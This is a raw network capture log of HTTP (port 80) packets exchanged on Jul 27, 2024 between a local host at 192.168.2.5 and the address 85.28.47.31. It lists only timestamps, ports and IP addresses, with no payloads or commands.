Jul 27, 2024 09:25:00.368094921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.368112087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.368113041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.368144989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.368165970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.368247032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.368263006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.368278027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.368287086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.368294001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.368316889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.368341923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.368375063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.368392944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.368427038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.368472099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.376241922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.376266956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.376281977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.376311064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.376332045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.376347065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.376390934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.376425982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.376445055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.376465082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.376487017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.376504898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.376506090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.376530886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.376554012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.376606941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.376622915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.376636982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.376652002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.376662970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.376667976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.376683950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.376692057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.376735926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.376775026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.376825094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.376954079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.377007008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.377015114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.377029896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.377057076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.377079010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.377091885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.377108097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.377131939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.377156019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.377187967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.377243996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.377245903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.377259970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.377290964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.377317905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.377367020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.377382040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.377396107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.377410889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.377415895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.377435923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.377466917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.377620935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.377671003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.377688885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.377695084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.377720118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.377737045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.377752066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.377767086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.377780914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.377795935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.377808094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.377829075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.377860069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.377860069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.377907038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.380686045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.380702019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.380717039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.380743980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.380754948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.380764008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.380769968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.380784988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.380806923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.380835056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.380940914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.380956888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.380971909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.380987883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.380986929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.381001949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.381019115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.381026030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.381062031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.381078005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.381093979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.381117105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.381158113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.439379930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.439429998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.439448118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.439462900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.439471006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.439477921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.439493895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.439495087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.439526081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.439575911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.449224949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.449242115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.449258089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.449290991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.449321032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.449331045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.449347973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.449385881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.449393034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.449404955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.449409008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.449440002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.449459076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.449516058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.449532032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.449547052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.449574947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.449616909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.449634075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.449650049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.449664116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.449680090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.449687958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.449712992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.449744940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.459470034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.459505081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.459522009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.459537983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.459570885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.459752083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.459810972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.459837914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.459856987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.459887981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.459912062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.459938049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.459953070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.459969044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.459984064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.459985018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.460012913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.460040092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.460128069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460153103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460169077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460182905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460192919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.460200071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460212946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.460216045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460233927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460253954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.460268021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.460320950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.460364103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460380077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460395098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460412025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.460432053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.460454941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.460490942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460545063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.460572958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460622072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.460665941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460680008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460699081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460720062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.460733891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.460737944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460763931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.460787058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.460848093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460864067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460879087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460897923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460903883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.460921049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.460939884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.460947990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.460995913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.461137056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.461162090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.461179018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.461189985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.461221933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.461246014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.461307049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.461323023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.461338043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.461354971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.461355925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.461375952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.461400032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.461437941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.461453915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.461469889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.461489916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.461529970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.469388962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.469424963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.469441891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.469468117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.469496965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.469525099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.469542027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.469558954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.469573021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.469616890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.469652891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.469670057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.469686031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.469696045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.469743013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.469783068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.469799995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.469815016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.469830990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.469832897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.469863892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.469892979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.469918966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.469934940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.469964981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.469990015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.470030069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.470046043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.470062017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.470077991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.470077038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.470093012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.470097065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.470108986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.470130920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.470222950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.470285892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.470303059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.470335960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.470366001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.470432043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.470482111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.470516920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.470547915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.470577002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.470602036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.470618010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.470633984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.470662117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.470689058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.470725060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.470741987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.470757961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.470772982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.470773935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.470793009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.470817089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.470856905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.470875025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.470901966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.470936060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.473588943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.473637104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.473653078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.473663092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.473691940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.473709106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.473758936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.473776102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.473793030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.473803043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.473838091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.473864079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.473897934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.473915100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.473929882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.473944902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.473959923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.473968983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.473968983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.473973989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.473995924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.474040031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.474080086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.474097013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.474126101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.474168062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.532645941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.532670021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.532686949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.532702923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.532718897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.532733917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.532742023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.532752037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.532799006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.532826900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.542220116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.542246103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.542260885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.542279005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.542304039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.542320967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.542334080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.542351961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.542381048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.542397022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.542540073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.542557001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.542573929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.542588949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.542597055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.542606115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.542617083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.542623043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.542654037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.542681932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.542886972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.542944908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.542956114 CEST	80	49704	85.28.47.31	192.168.2.5
